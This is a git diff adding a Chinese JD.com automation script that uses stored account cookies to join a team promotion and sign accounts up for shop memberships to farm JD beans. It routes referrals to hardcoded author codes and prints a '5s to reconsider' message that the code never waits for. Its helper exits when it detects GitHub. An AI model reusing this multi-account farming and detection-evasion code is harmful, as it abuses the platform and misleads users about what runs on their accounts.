r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_flpa.js b/backUp/jd_flpa.js new file mode 100644 index 0000000..3a64fc6 --- /dev/null +++ b/backUp/jd_flpa.js @@ -0,0 +1,503 @@ +/* +TG 群组 +https://t.me/aaron_scriptsG +https://t.me/jdscrip +10 0 * * * jd_flpa.js +*/ +const $ = new Env("FLP"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + + authorCodeList = [ + '4cd2550f56ac4ff193c6d1b9a33b2ebf', + '00be108b771b4b76a9940660b2ca67e8', + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = '52c0712263f342308da1287a66702009' + $.activityShopId = '1000003691' + $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/pool/captain/${$.authorNum}?activityId=${$.activityId}&signUuid=${encodeURIComponent($.authorCode)}&shareuserid4minipg=null&shopid=${$.activityShopId}` + await member_08(); + await $.wait(3500) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function member_08() { + $.log("这是一个开卡入会的活动,请确认你愿意进行,我给你5s考虑。") + $.log('那就开始吧。') + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> " +$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`) + if ($.activityContent) { + console.log($.activityContent.canJoin) + if ($.activityContent.canJoin) { + $.log("加入队伍成功,请等待队长瓜分京豆") + await task('saveCandidate', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) + if (!$.activityContent.openCard) { + await getShopOpenCardInfo({ "venderId": "1000003691", "channel": 401 }, 1000003691) + await bindWithVender({ "venderId": "1000003691", "shopId": "1000003691", "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": 3282318, "channel": 401 }, 1000003691) + } + await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + await $.wait(2000) + if ($.index === 1) { + if ($.activityContent.canCreate) { + $.log("创建队伍") + await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) + } + } + } else { + if ($.index === 1) { + $.log("创建队伍") + if ($.activityContent.canCreate) { + await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) + } else { + $.log("你已经是队长了") + ownCode = $.activityContent.signUuid + console.log(ownCode) + } + } else { + $.log("无法加入队伍") + } + } + } else { + $.log("未能成功获取到活动信息") + } + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'saveCaptain': + if (data.data.signUuid) { + $.log("创建队伍成功") + ownCode = data.data.signUuid + } + break; + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + break; + case 'wxActionCommon/getUserInfo': + $.nickname = data.data.nickname + $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + break; + case 'activityContent': + $.activityContent = data.data; + $.actorUuid = data.data.actorUuid; + if($.index === 1){ + ownCode = data.data.signUuid; + } + break; + case 'updateCaptain': + console.log(data.data) + + break + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzkjdz-isv.isvjcloud.com/${function_id}` : `https://lzkjdz-isv.isvjcloud.com/pool/${function_id}`, + headers: { + Host: 'lzkjdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkjdz-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzkjdz-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzkjdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkjdz-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = 